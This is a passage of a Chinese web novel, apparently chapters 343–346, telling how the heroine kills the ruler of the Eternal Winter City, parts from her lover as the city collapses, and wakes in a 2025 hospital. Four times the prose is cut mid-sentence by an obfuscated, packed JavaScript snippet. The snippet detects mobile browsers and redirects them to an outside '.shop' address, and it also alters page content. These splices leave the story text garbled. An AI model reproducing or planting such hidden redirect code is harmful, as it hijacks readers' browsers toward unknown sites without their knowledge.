惊呼从四面八方传来,【白闽】忙上前抓住【江意】手臂,压低声音:“你开什么玩笑?!” “我没有开玩笑。”【江意】面无表情地看着下方一张张愤怒的脸庞,“赶在现实那些宵小之徒察觉之前,我会把真相全部告诉你们。” “妄主从来都没有站在你们的对立面。从祂进入永冬之城的那一刻起,祂所做的一切,都是为了彻底夺回永冬之城的控制权,让现实里真正的凶手势力相信祂的真心,彻彻底底让你们回到现实。” “一旦所有管理员知晓了祂的真正意图,我们,你们,和妄主都会死于凶手势力的手底下。祂欺骗我们,欺骗你们,是逼不得已,只有我与少数几位能控制好精神力波动的管理员知晓此真相。” 【江意】顿了顿,他看见下方无数双眼睛里的愤怒逐渐被惊讶取代。 “我对死亡的玩家与管理员感到惋惜与歉意,而演戏总要演到最后,这场战非打不可。” 空气中只留下一道苍蓝残影,长剑已经抵上了妄主的脖颈,与祂右侧颈动脉附近的那道疤重合。 剑太冷了,冷得初与序握剑的手止不住地颤抖。剑尖触碰的皮肤下,血管在微微波动。 “这场战一定死了很多人。”妄主开口,呼出的白气在冷空气中化作一片朦胧的雾,笼罩住祂单薄的身形,“你该给他们一个结局。” 初与序双手紧握着剑柄,剑锋又往前进了几厘米,但没有血丝溢出。 雪原之上,神邸的死亡是一场朝圣。 初与序颤抖道:“你别看我,你不要看我,你对我来说太重要了。” 妄主忽然轻轻笑了一声,祂垂下眼睫,那双银蓝色的眼眸隐入白雾中,模糊了神情。 “如果我算得没错。”【江意】缓缓开口,“初与序已经做好了弑神的准备。” “而现实世界里那些黑暗势力,也终于发现——这一切从头到尾都是一场戏。” 主屏幕上,所有管理员的深层心理监控图谱在这一刻,同时、同步、幅度惊人地向上飘升! 红色曲线像一张早就编织完毕的巨网,猛然收紧!以【江意】为核心,【白闽】和【随歌】为关键节点,所有管理员的红线彼此连接共振,形成了一道刺目又统一的背叛信号! “我们被骗了!!” 袁曼猛地从控制椅上弹起来,一拳狠狠砸在桌面上:“永冬之城管理员群体已确认大规模叛变!立刻强制夺回城市控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243406|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制权!” “全城清洗,一个不留!!!” 忽然,主屏幕上,【江意】像是感应到了什么,抬了下头。 那双灰色的眼睛隔着虚空,隔着屏幕,精准地对上了袁曼的视线。 初与序握着长剑的双手手腕用尽全力,横向重重一带—— 剑锋倏然划开妄主咽喉! 一缕冰蓝色的光从伤口处流淌而出,那光芒纯粹得如同冻结万年的极光突然苏醒。 它太亮了,亮得初与序握剑的手腕被照得透明,皮肤下的骨骼和血管都在光芒中清晰浮现,仿佛她握着的不是一把剑,而是一道闪电,撕裂天地。 大屏幕上,代表妄主精神本源强度的蓝色曲线——直线飙升! 它像是一柄冲破苍穹的利剑,疯狂窜了上去,瞬间冲破了图标顶端! “警告!精神力过载!!” “监测链路超负荷!!” 刺耳的警报声响起!所有画面同时剧烈闪烁,爆出大片大片的雪花乱码。紧接着,所有数据图谱在同一刻轰然爆炸开来! 站在近前的几名技术人员被爆炸的气浪狠狠掀飞,重重摔在远处的地面上!观测站内灯光疯狂明灭,碎片四溅,焦糊味弥漫开来! “我们正在失去对永冬之城的观测链路!!” “主管!妄主——妄主祂的生命体征正在下跌!有玩家杀了祂?!祂好像……快死了!!” 袁曼死死盯着那片爆炸后漆黑一片的主屏幕,脸色铁青,厉声喝道:“强制更换妄主!往前妄主即刻更替!!” “不行啊主管!前妄主的精神信号正在随着城市结构一起消散!我们……” 轰——!!! 又是一阵剧烈的爆炸!整个地下空间都在疯狂震动,灰尘和碎屑簌簌落下! 初与序听见妄主轻轻叹了口气。 祂颈间的伤口开始流淌出越来越多冰蓝色的光芒,光粒飘散在空中,如同逆飞的星辰。祂的身体开始从伤口处透明,先是脖颈,然后是下颌、肩膀、胸膛…… 透明的部分迅速蔓延,像是被风吹散的积雪。 祂平静地看着初与序,一片雪花从祂逐渐消散的肩膀上飘起,在空中打了个旋,轻轻落在初与序颤抖的睫毛上。 整座永冬之城发出了即将坍塌的轰鸣。 远处,雪松树枝上挤压的厚雪直直坠向地面,宫殿开始模糊、瓦解。视线所及的一切,都在漫天飞雪中一寸寸消散,化作漫天飞絮的光尘。 “快去。”妄主抬起手,狠狠推了初与序一把,“快回去,见他最后一面。” 初与序猝不及防,被推得直直向后倒去。长剑脱手,哐当一声坠落在雪地上。 寒风卷起银蓝色的光粒,如同星河涌上天际,漫天飞雪从空中飘落,遮蔽了整片视野,地上的雪花向上,穿过初与序张开的双臂,顺着星河漫无目的地飘着。 她重重摔在积雪之上,冰冷的雪沫灌进领口。 透过扬起的雪雾,她看见远处高耸入云的总部大楼从顶端开始坍塌,周围全是玩家们惊慌又激动的尖叫。人群朝着列车站的方向疯狂涌去。地平线尽头,这座城市正在一寸寸地消散,随着风雪漂流。 初与序猛地从雪堆里爬起身,她逆着汹涌的人群,朝着与车站相反的方向拼命地奔跑。 344.冬不归 【各位玩家请注意,永冬之城即将进入终末阶段。】 【我是执行官D19,检测到妄主死亡,永恒轮回已解除。请所有玩家前往中央车站,所有列车已准备就绪。永冬之城将在二十分钟后完全解体,重复,永冬之城将在二十分钟后完全解体。】 【恭喜各位,可以回家了。】 “快走——!!” 不知是谁率先喊了一声,幸存的玩家们从废墟中、从血泊中、从同伴尸体旁边爬起来,涌向中央车站的方向。那里,无数辆通往现实的列车正静静停在轨道上,车门敞开,等待着逃亡者。 夏日的白光温暖明亮,那是属于现实世界的色泽。正从遥远的地平线尽头蔓延开来。它撕开永冬之城灰蒙蒙的天穹,刺入这座冰雪之城。 最后一场暴风雪正贪婪地吞噬着城市的一切。 初与序逆着人流奔跑,她踏过正在融化的雪地,周边的图书馆轰然倒塌,书籍飞上半空,纸页在空中狂舞,化作漫天飞雪。咖啡厅的落地窗爆裂,远处的高楼被拦腰斩断,巨大的建筑物在坠落的过程中就瓦解成蓝色光粒,消散在席卷天地的风雪中, “初与序!回来!!!”很多熟悉的声音在身后喊,是D栋的同伴。 景明垂拨开混乱的人群,试图寻找初与序的身影。刚跑出两步,一条胳膊横空伸出,直直拦住了她。 “回去。”初一挡在景明垂面前。 她穿着那身蓝白条纹病号服,身形单薄,脸色异常苍白,轮廓似乎渐渐透明,仿佛随时会融入这片暴雪。但她的眼睛仍然清澈,脸上带着不合时宜的悠闲。 “你上列车去,初与序交给我。”她微微一笑。 景明垂张了张嘴,想说些什么,却被初一轻轻往列车方向一推。景明垂再抬头时,初一已经消失在狂乱的风雪之中。 风像刀子一样撕扯着初与序的大衣,雪粒抽打在脸上,呼吸灼烧着肺部。脚下的雪面正在变得透明,冰层之下,初与序能看见现实世界里川流不息的车流,公园里孩童们追逐嬉闹,刚结束高考的学生们喝着冰镇柠檬茶打游戏,观测站爆炸后技术人员惊慌失措的呐喊。 但她不在乎,她的目光锁定在前方模糊的身影上。 冬逢初同样在暴风雪中奔向自己,他的白衬衫被血染红,唇边溢出的鲜血在苍白肤色上触目惊心。他的身体开始透明化,缓缓消散,像妄主一样,这让初与序心慌。 两人的距离飞速拉近。 初与序伸出手,指尖率先触碰到了他的衣角。下一秒,她被一股大力拉进一个怀抱。 冬逢初的体温低得可怕,像一块在雪地里埋藏千年的寒玉。冷气透过衣物,直直刺入初与序的骨髓。可他的心跳震耳欲聋,沉重地撞在她的耳膜上,震得她浑身发颤。 初与序颤抖着伸出手,去触摸他的脸颊。 冬逢初低下头,吻住了她的唇。 血腥味在唇齿间凶猛地蔓延开来,还带着冰雪消融的苦涩。初与序尝到了雪粒融化在舌尖的咸涩,但雪怎么会是咸的? 她捧着冬逢初脸颊的手感觉到了一点湿凉,分不清是她的泪,还是冬逢初的,亦或是融化的雪水。 她另一只手死死攥住冬逢初的衣角,像是这样就能留下她。但布料在她指间寸寸化作雪沫,从紧握的掌心无情地溜走。 雪下得更大了,这是永冬之城最后最盛大的一场雪,一如他们第一次见面时下的那场。鹅毛般的雪片穿过冬逢初逐渐透明的身体,落在初与序的肩上。 “不要……”初与序的尾音有些战栗。 “阿序,看着我。”冬逢初捧住她的脸,她的视线撞进他那双正在迅速失去光彩,但依旧温柔的眼睛里。 他一字一句:“不要忘记我,不要恨自己,不要被困在永恒的冬天。” “记住现在,记住我的样子,阿序。” 他微微喘息着,唇边又溢出血丝。 初与序拼命点头,她用目光描摹着他的眉眼——舒展的细眉,高挺的鼻梁,失了血色却好看的唇形,左眼眼尾上方淡棕色的小痣,还有眼底深处,无论轮回多少次、无论身处炼狱还是人间,都只映着她一人,沉静温柔的光。 远处,列车悠扬的汽笛声再次响起,召唤所有迷途的孩子们归家。 冬逢初看着她,缓缓露出了最后的笑容。 那笑容带着释然,带着不舍,带着无边无际,深沉如海的爱意。初与序不愿看到他露出这样的笑容。 “阿序,我爱你。” 他俯下身,用尽最后一丝力气静静地拥抱住怀中的爱人。 微弱的气息喷洒在初与序的颈侧,又轻又暖,仿佛这只是某个清晨,他只是要出一趟远门,很快就能回来的最普通不过的告别。 紧接着,怀中的重量陡然一空。 温暖的,带着淡淡苦花香的气息消失得彻彻底底,干干净净。 初与序抬手擦去模糊视线的泪水和冰霜,身前已是空无一人。只有不知从何处而来的雪花,和一朵朵蓝紫色的勿忘我花瓣,正从刚刚冬逢初站着的雪地中升起,被最后一场狂暴的风雪卷起,打着旋,飞向无尽的天际。 她站在原地,一片勿忘我花瓣被风卷着,轻轻落在她伸出的掌心上。花瓣边缘沾着晶莹的雪粒,那一点冰凉似乎刺激到了她麻木的神经,她猛地回过神,慌忙低头去看自己的右手—— 中指上,那枚勿忘我戒指还在。 但她右耳上一直戴着的耳骨夹通讯器已经不见了,它对着永冬之城的崩塌,随着冬逢初的消散,彻彻底底化作了这片风雪里再也寻不回的尘埃。 愣神间,肩膀突然被人用力扣住! 初与序猛地抬起头,就看见初一站在她面前。 风雪狂舞,初一那头乌黑的长发在风中飞扬,衬得她脸色苍白。她的身形也开始呈现出飘忽的感觉,边缘隐隐有光粒在逸散。 “初与序。”她捏着初与序的肩膀,压低声音,“听好了,我把我剩下的全部精神力留在这个世界。” 初与序张了张嘴,发不出声音。 初一语速极快:“我的精神力可以让所有死在永冬之城的人复活,我不会再回到那个破医院了,但你得和他们一起回现实。只有你们安全离开,永冬之城彻底死亡,我留下的精神力才会生效,他们才能回来。” “一定要让善佑医院和竹翰学院倒闭,把他们送进监狱,哪怕一人。不要再让任何孩子被送进去,不要再有第二个永冬之城。” 呜—— 远处,列车的汽笛声再次响起,只剩下五分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243407|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟。 初与序僵立在风雪中,视线越过初一的肩膀,恍惚看见远处风雪弥漫的边缘,站着许多熟悉的身影。 D19、C13、S23、J23……那些曾经给予过帮助的执行官们,此刻都静静地站在那里,望着她的方向。还有悬浮在半空中的火腿面包,脸上带着张扬的笑容,在风雪中显得模糊。 他们都没有动,只是站在那里,即将随着永冬之城一同消散。 “想办法让他们回来。”初一缓缓说道,“认识他们我真的很开心。” 初与序看向初一,初一脸上又带着那副吊儿郎当,满不在乎的神情。她歪了歪头,对上初与序的眼睛,忽然勾起唇角。 初与序的心脏剧烈一跳,但已经晚了——初一捏着她肩膀的手滑到她后颈,手起掌落,精准劈在了她后颈,初与序只觉眼前一黑! “他们需要你,回去吧。”初一贴在她耳畔悄声说,“这次是真的再也不见啦。” 云层低垂,落雪飞旋。巨大的天幕愈来愈远,周围的景色在极限上升。崩塌的宫殿、消散的高楼、逆流的人群、飞舞的勿忘我花瓣……一切都在急速远离,涌向视野尽头。 初与序在黑暗中一直一直地坠落,穿过摩肩接踵的人海,穿过尸骸满地的战场,穿过轰然倒塌的建筑废墟,穿过看不清的,混沌的未来。 迟到多年的长剑越过尸山血海,淌过分崩离析的时间长河,穿透过漫天飞雪,朝着命中注定的方向划去,掀起幽蓝的浪潮,喷洒在无边雪原之上。 一双手倏然伸出—— 那双手白皙纤细,坚定地抵住她的胸膛,用尽全力向外狠狠一推! 她的灵魂从沉重的躯壳里飘落,向后坠去,重如千钧的眼皮一点点地阖上。孩童们撕心裂肺的尖叫由远及近,医院仪器滴滴答答的声音敲打在她心头。恍惚间,她又回到了那个弥漫着消毒水的医院。 星光闪闪,冬雪皑皑,她看见一个小女孩独自站在天台边缘,静静望着黑暗的远方。 初与序的灵魂朝着那个女孩的躯体急速坠落,然后重重跌入。 感官重组,寒风刮过皮肤,传来刺痛,消毒水的味道涌入鼻腔,还夹杂着一丝丝血腥气。 “抱歉,希望没吓到你……”清冽温柔的少年嗓音在身后响起,“睡不着,溜出来玩,发现天台门没锁,就上来了。” 她猛地回过头,少年站在门边,身形清瘦,面容苍白,有着一双极其沉静好看的眼睛,整个人却仿佛浸在雾里。 风在耳边呼啸,四年般剥皮刺骨的痛苦如潮水般涌来,周围场景转换,初与序发现自己又半坐在医院走廊置物柜后。 少年从后面虚虚环抱着自己,伸手捂住自己的嘴。手电筒的光和脚步声渐渐远去,少年将一片蓝紫色的花瓣放入她手心: “听说这种花,能让人记住不想忘记的事。” 初与序触碰到少年冰冷的指尖,他的睫毛纤长,在夜色中轻轻颤动,像蝴蝶濒死时的振翅。 忽然,有几片雪花从天际垂落,落在少年浅棕色的发梢,也落在他略显单薄的肩头。 初与序怔怔地抬起头,向天上看去。漫天飞雪此刻开始下坠,转瞬间她又穿着大衣,站在别离山上。风雪呼啸,不远处横着屠宰场成员的尸体。 345.此恨绵绵无绝期 初与序向前望去,冬逢初的双手被铐在身后,数个执行官团团围着他。A12站在一边,高声宣读着他杀害玩家的违规行为。 冬逢初转过头看向初与序,动了动嘴唇:“别担心。” 他的身影很快被执行官们推搡着带头,就要消失在愈发狂暴的风雪之中。 “等等!” 初与序大步奔向他。 寒风裹着细雪,像刀子般刮着她的脸颊。明明只有几步就能跑到他身边的路程,此刻变得格外漫长,脚下的雪地仿佛沼泽,每一步都拉扯着她。 她眼睁睁看着那个被铐着手,修长的背影在风雪中越来越模糊,越来越远。 她极力向前伸手,却无论如何都碰不到他翻飞的大衣衣角。 “……冬逢初!”她哑声喊出他的名字。 耳边是无数人的喊叫、哭泣、怒吼,混成一片嘈杂。而其中还混杂着一声格外清晰的呐喊,冲破了尸山血海。 “别跟我走——” 话音落地的刹那,窒息感如同冰水,猛地灌满初与序的五脏六腑!她浸泡在冰凉刺骨的海水里,肺部传来灼烧的剧痛,眼前是幽暗模糊的水光。咸涩的海水涌入口鼻,意识在急速流失—— 一双手倏然从身后搂住了她的腰! 紧接着,氧气呼吸管被强行塞进她口中,那只沉稳的大手护着她,奋力向上方的光亮处游去,破水而出。 初与序呛咳着,惊慌地回过头,撞上了一双眼睛。 冬逢初的脸近在咫尺,被海水浸湿的浅棕色头发贴在额前,水珠顺着他深刻的眉眼轮廓滚落。他的眼眸比海水深,此刻正一瞬不瞬地看着她,里面翻涌着后怕和庆幸。 冰岸边传来哗啦的水声,他将初与序更紧地搂在怀里,仿佛刚才差点失去爱人的是他自己。 “我该去哪找你……”初与序听见自己哽咽的声音,她死死拉住冬逢初的衣袖,“善佑医院?安徽?苏州?还是有雪的地方?” 冬逢初湿淋淋地爬上岸,他没有立刻回答,只是跪在岸边,垂眸看着她。水珠从他低垂的睫毛上滴落,砸在初与序的脸颊上,冰冷刺骨。 他的脸上没有什么表情,可眼里却含着泪,周身的气息充满了哀伤和恳求:“阿序,你找不到我的。” “……奇怪,患者怎么还是昏迷不醒?” “病人家属呢?她家里人呢?” “初与序!初与序你醒醒!” “她家人不在国内,我们就是她家人!” 熟悉的声音从遥远的云层之上飘荡而来,初与序已经完全听不清了,她看见冬逢初伸出颤抖的手,小心翼翼地将她脸颊边湿淋淋的发丝别到耳后。 滚烫的泪水顺着冬逢初苍白的脸颊滚滚而下:“我因你而存在,也只为你存在。我的心一直在你身边,好好睡一觉吧。” 不是这样的…… 初与序挣扎着想从冰冷的海水中起身,想抓住他,忽然眉间被他的指尖轻轻点了一下。 尘世的风从苍穹之外吹来,风里夹杂着成功复活,回到现实世界的玩家们激动的欢笑。 黑暗再一次温柔又坚决地席卷而来,吞噬了她。列车的汽笛声仿佛从时光尽头传来,久久回荡,最终也消失在无边的寂静里。 星河逆流而上,连成圆的轮回急速缩小,最终凝成一点。周围的一切都在飞速逝去,化成褪色的幻影。 这些年像一扇呵气成雾的玻璃窗,初与序伸出手,抹开一道凉而薄的清醒。梦隔着玻璃下,落不完似的。 她疑心那场雪早就停了,可当她抬起眼,却又一次撞见漫天纷纷扬扬的,倦倦的白。那雪像极了谁欲言又止的叹息,轻轻落在她睫毛上,刚碰到就化了,只在眼底留下一点潮湿。 那点冰凉从眼下蔓延开来,顺着血脉直直冲上心尖,冻得她一个哆嗦,猛地睁开眼,翻身而起! “初与序!” “医生!向枝冥快去叫医生!” “初与……诶诶诶别动别动!流血了!” 嘈杂的人声瞬间涌入耳膜,初与序闻到一阵淡淡的血腥味。她有些茫然地抬手摸向脖子右侧,湿湿的,粘稠的。垂眼一看,指尖一片红。 她环顾四周——白色的墙壁,干净的病床,窗外是六月浓郁的绿意和炽烈的阳光。空气里是消毒水味,但不是善佑医院冰冷压抑的气息,她呼出一口气,整个人脱力地靠回床头。 安楚忙按住她的肩膀,不让她再乱动:“现在是2025年6月25号。除了执行官和……他,所有的都回到现实了。我们过去那些糟糕的,痛苦的事全部变好了,但……似乎你并没有。景明垂他们已经买好了车票,马上就到安徽。” “你脖子上的伤从永冬之城带出来了,但没那么深,我们跟医生说是你自己不小心走路摔的。” 他顿了顿,又小心翼翼地补充了一句:“还有……我们试着联系了你的养父母,但电话一直没人接。” 初与序脸上没有任何表情,静静地靠在床头,仿佛刚才从无数血海轮回,生离死别中挣扎脱身的不是她,仿佛那些刻骨铭心的痛楚与爱念都只是隔着玻璃看过的一场别人的大雪。 安楚等了片刻,忍不住又问:“你……你没事吧。” 初与序和他对视了几秒,淡淡道:“没事。” 医生很快进来,跟着一起进来的还有向枝冥,以及另一个看起来三十岁左右,面容文雅,气质沉稳的男人。 男人和安楚有着六七分相似的眉眼,他走到窗边,对初与序微微颔首,自我介绍道:“你好,我叫安阳,是安楚的哥哥。” “你好。”初与序点了点头,动作牵扯到脖子上的伤口,隐隐的钝痛感袭来。她没什么力气再开口,便安静地看着医生动作。 医生检查了她颈侧重新渗血的伤口,动作利落地消毒,上药,然后用新的绑带重新缠绕包扎。 “既然醒来了就没多大事。”医生叮嘱道,“注意伤口清洁,近期别剧烈运动,别沾水,按时换药。” 初与序“嗯”了一声。 刚走出医院大门,夏日的热浪便混合着聒噪的蝉鸣扑面而来,阳光毫无遮挡地直射而下,晒得人皮肤微微发烫,空气里浮动着柏油路面被炙烤后的燥热气味。 九千多年都没见过这样刺眼的日光,除了安阳,另外三人都齐刷刷抬起手臂,遮挡在眼前。 阳光太亮了,亮得让人眼眶发酸,亮得仿佛能灼伤灵魂深处积攒了太久的冰雪。向枝冥勉强从指缝中睁开一条缝,看向站在前方几步远的初与序。 他和安楚回到现实,体重都比在永冬之城天天高强度下副本时重了点。唯独初与序,阳光下的她身形竟然瘦削 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那段日子,漫长如九千多年,短暂如昨夜一梦。 “那现在呢?”安阳又问。 安楚仰起头,眯着眼看了看头顶刺眼的烈日光斑。热风拂过他额前的碎发,带来属于2025年夏天的温度。 “现在……”他缓缓开口,怅惘道,“一切都结束了,结局算是美满吧,但总有遗憾。” 他又忍不住朝着初与序离去的方向看了好几眼,那里只有空荡荡的林荫道,和摇曳的树荫。 “安啦,如果初与序真想做些什么,我们也拦不住她,不是吗?”向枝冥伸手,勾住安楚的脖子,“走了走了,师傅让我们下山买的东西还没买全呢,你爸妈不是还说了,晚上路过清河村时顺道去你家吃顿饭吗?” 当年那个贪婪吞噬赈灾款,最终在一把冲天大火中化为灰烬的罪恶之地,在新的世界里焕发出生机。安阳的举报让真相大白。如今的清河村安宁繁荣,安家父母身体健康,时常惦记着两个上山当道士的儿子和他们的师弟,总叫他们顺道回家吃饭。 那些曾经的苦难与血色,真的被留在了另一个时空,像上辈子的事了。 安楚收回思绪,脸上终于露出一个真切的笑容:“嗯,走吧。” 346.新世界 初与序随便找了一家看起来价格稍微便宜的手机店,店铺玻璃柜里陈列着各种各样的手机模型和配件,墙上贴着褪色的广告海报,空气里有空调风吹出来的淡淡清凉气味。 她问好价格,将手机递给柜台后的老板。老板是个四十来岁的地中海,仔细看了看手机:“摔得挺厉害啊,屏幕都裂了。能修,不过要换屏,等会儿啊。” 初与序应了一声,在柜台前一把塑料椅子上坐下来。 店里墙上挂着一台老式电视,正播放着午间新闻。如今大多数人更愿意去看轻便的手机,还守着电视看的,多半是像老板这样的中年人或者附近的老人家。等的过程无事,初与序便将目光投向那台电视。 屏幕上,妆容精致的女主播面带微笑,吐字清晰: “接下来关注一则突发消息。” “今日上午,位于市郊的某地下科研观测站发生小型爆炸事故。据内部工作人员表示,事故原因为部分老旧电器线路短路引发,未造成人员伤亡,也未对周边环境产生影响。事故已得到有效控制,具体情况仍在调查中,其他信息不方便透露。本台将持续关注。” 画面切到了一段不到五秒的现场拍摄镜头,距离很远,只能看到几栋低矮建筑的轮廓一闪而过。 初与序忽然皱起眉,她一眼就认出那正是善佑医院所在的市郊区域。 紧接着,主播已经低头看向稿纸,语气轻快地转向下一条社会新闻:“好的,接下来我们看看明天的天气情况……” “现在啊,人命都不重要咯。”低头正在拆手机后盖的老板忽然摇了摇头,叹气,“那爆炸看到不是啥线路短路,真相被上面的人压下去咯。我一亲戚就住那郊外,经常看见有穿白大褂的人搬着些稀奇古怪的仪器进进出出,还有小娃娃被绑着带进去,就没见他们出来过。” 初与序转过头看着他。 老板似乎打开了话匣子,继续低声说:“听说啊,他们以前就拿一个小女娃做过实验,后来那小女孩死了,她朋友也死掉了。但外头一点消息都没有,跟从没发生过一样。” 他将拆下的坏屏幕放在一边,拿起新的配件,又抬头看了初与序一眼:“诶,娃娃,你今年多大?看着还年轻得很,怎么脖子伤了?翘着缠挺厚。” “摔的。”初与序回答,“我十八。” “十八啊,那莫不是才高考完?”老板手中动作娴熟,话题转得也快,“听他们说,高考成绩今天晚上七点出。你莫紧张咯,考得好就好,考不好也莫事。我当年高考都考不到三百分,现在在手机店工作,不也活得好好的?” 可能是看初与序一直没什么表情,闷闷的,想活跃下气氛,又或者只是单纯想找人聊天,老板继续问:“你这个暑假,可跟朋友们约好出去耍啦?放松放松。” “……才回来。”初与序沉默了几秒,说道。 “对咯!年轻人就要多出去看看世界!”老板赞同地点点头,“我就后悔年轻时没经常出去走,现在年纪大了,腰不行了,也懒得动了,好多想去的地方都没去成哟。” 初与序没再开口接话,她看向窗外。 午后炽烈的阳光透过玻璃门照射进来,在地面上投下明晃晃的光斑。夏日的热风吹动门口挂着的塑料帘子,发出轻微的哗啦声。 她的侧脸被光线勾勒出一圈淡金色的轮廓,长长的睫毛在眼睑上投出小片阴影。 ……她确实是“去看过世界”后回来的。 她去的地方,远不止地图上任何一个可以被看见的点位。她曾踏足恒古不化的雪山之巅,也深入过万籁俱寂的南极冰川。她走过尸骸遍野的古战场,也穿越过遮天蔽日的原始丛林。甚至在黄泉路畔见过引渡亡魂的黑白无常。 在那些稀里糊涂却又刻骨铭心的漫长岁月,她看过永冬之城最狂暴的风雪,也见过现实世界里最炽烈的夏日骄阳。她曾和同伴们出生入死,也曾独自一人面对最终的结局。 她这趟旅行,已经太长,太重了。 “修好了。”老板的声音将她从漫天边际的思绪里拉回,将手机推过来,“试试,触控和显示都正常了。” 初与序接过来,刚开机,锁屏界面还没完全加载完毕,无数条消息提示音就涌了出来。 微信图标上的红色数字疯狂跳动,瞬间变成了“99+”,短信收件箱也显示着数十条未读。除了冬逢初,在永冬之城加的那些好友都还在,大多内容都是询问她的人身安全和精神状态,还有车站到站信息和车次。 初与序付完钱,转身推开玻璃门,热浪和喧闹声将她包围。 她一边沿着人行道,朝着记忆里的高铁站方向走,一边一条一条地回复消息。那些刚刚发送出去的消息穿过城市的信号塔,飞向四面八方,飞向那些同样刚刚从黑暗世界中醒来,正焦急寻找着彼此的好友们。 等她来到车站时,一眼就看见了景明垂。 景明垂竖着双马尾,戴了一顶鸭舌帽,身上是深蓝色的短袖,下身是条简单的牛仔裤。她拖着行李箱,站在高铁站出站口空地上。 等初与序走近了,才看见她另一只手还牵着一条狗。 那是一条体型不小的伯恩山犬,毛色是棕、黑、白三色,油光水滑,吐着舌头呼哧呼哧地喘着气。它的脖子上挂着一个亮晶晶的银色铭牌,上面刻着名字:「阿山」。 初与序记得这个名字。 在旧世界里的善佑医院,景明垂曾跟她提过几次。阿山是她小时候养的狗,后来被她那个酗酒暴力的父亲活活摔死了。 “挺可爱的。”初与序看着那条朝着她咧着嘴傻乐的伯恩山,说道。 景明垂的心思明显不在自己的狗可不可爱上,她看着初与序,嘴唇动了动,想说些什么,奈何语言系统不争气,在关键时刻掉链子,半天没能憋出一个完整的橘子。 两个人就站在高铁站门口汹涌的人潮内沉默地对视了好几分钟。 夏日的热风卷着尘土和汽车尾气吹过,身边是拖着大包小包,行色匆匆的旅客,和到处拉人的出租车司机,偶尔有人投来好奇的目光。 半晌,初与序叹了口气:“我没有事,你不用特意跑来安徽一趟。” “就当过来旅游,顺路找你玩。”景明垂淡淡道,“新世界里,我们可一次面都没见过。” 在如今初与序拥有的新世界记忆里,或许是因为她曾经是妄主,她个人的过去并没有发生任何变化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243409|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——父亲早逝,十岁被送往技术家庭,十四岁被困善佑医院,从小在虐待暴力的环境中长大,十八岁被拉入永冬之城。 唯一不同的是,在善佑医院里她并没有再遇见景明垂。她们的人生彻底粪叉,走向了截然不同的方向。如果不是永冬之城,在现在的世界里,她们就是陌生人。 景明垂似乎看出她在想什么,等两人找了旁边一家便利店。她将柠檬茶推给初与序,便开口说道:“在新世界,我的父母没有离婚。他们感情很好,一直生活在一起,我也没有被送进善佑医院。阿山从小就陪着我,我平安快乐地长大。” 阿山趴在她脚边,正用湿漉漉的鼻子蹭着她的脚踝。 “来的路上,我跟其他人简单联系了一下。”景明垂抿了一口柠檬茶,继续道,“随歌没有被送进竹翰学院,他的乐队现在非常出名,已经在赶来的飞机上,说一定要见到你。” “意哥还在美国,他没得胃癌,正忙着抢回江家掌权人的身份,把他弟弟和所有想上位的亲戚都踹下去,暂时抽不开身回国。不过……苏叶似乎并没有复活,他没有进入永冬之城,不能像齐无尽的妹妹一样在新世界里活下来,还是在竹翰学院身亡。” “回北那边暂时没有消息,可能是在办案。安阳没有死,安楚没有杀人,向枝冥还在玄机观当他的道士,u谷正常待在英国,读他的医学院,体内没有你的一部分精神力。白闽在父亲去世后就被陈秋天的父母收养了,和陈秋天是名义上的姐妹,但白阔下落不明。赵禾被一家好心人收养,没再打黑拳。” “齐无尽在小时候就带着无恙安全离开了村子,张景绳之以法,莫楠也活了下来,早早找到了他们俩,将他们俩带去了里斯本。齐无尽说,等他处理完那边的一些事,就回国找我们。” “痛苦的事情全部改变,失去的一切全部回来。” 景明垂抬眼,眼神复杂地看向初与序:“初与序,我们都很感谢你,也都很担心你。” 初与序握着冰凉的易拉罐,手指被水珠浸湿。她没有立刻说话,只是透过便利店落地窗看向外面。 骄阳如火,穿过人行道旁茂盛的香樟树,空气被热浪蒸腾得扭曲。 有两个看起来十八九岁的少年推开了便利店的门,带进一股热风。他们一边挑选零食和饮料,一边谈论着今晚七点就要公布的高考成绩,猜测着分数线,讨论着心仪的大学和专业,眼神里充满了对未来的憧憬和忐忑,以及独属于这个年纪的鲜活张扬的生命力。 一切都是那么生机勃勃,与永冬之城死寂的苍白截然不同。 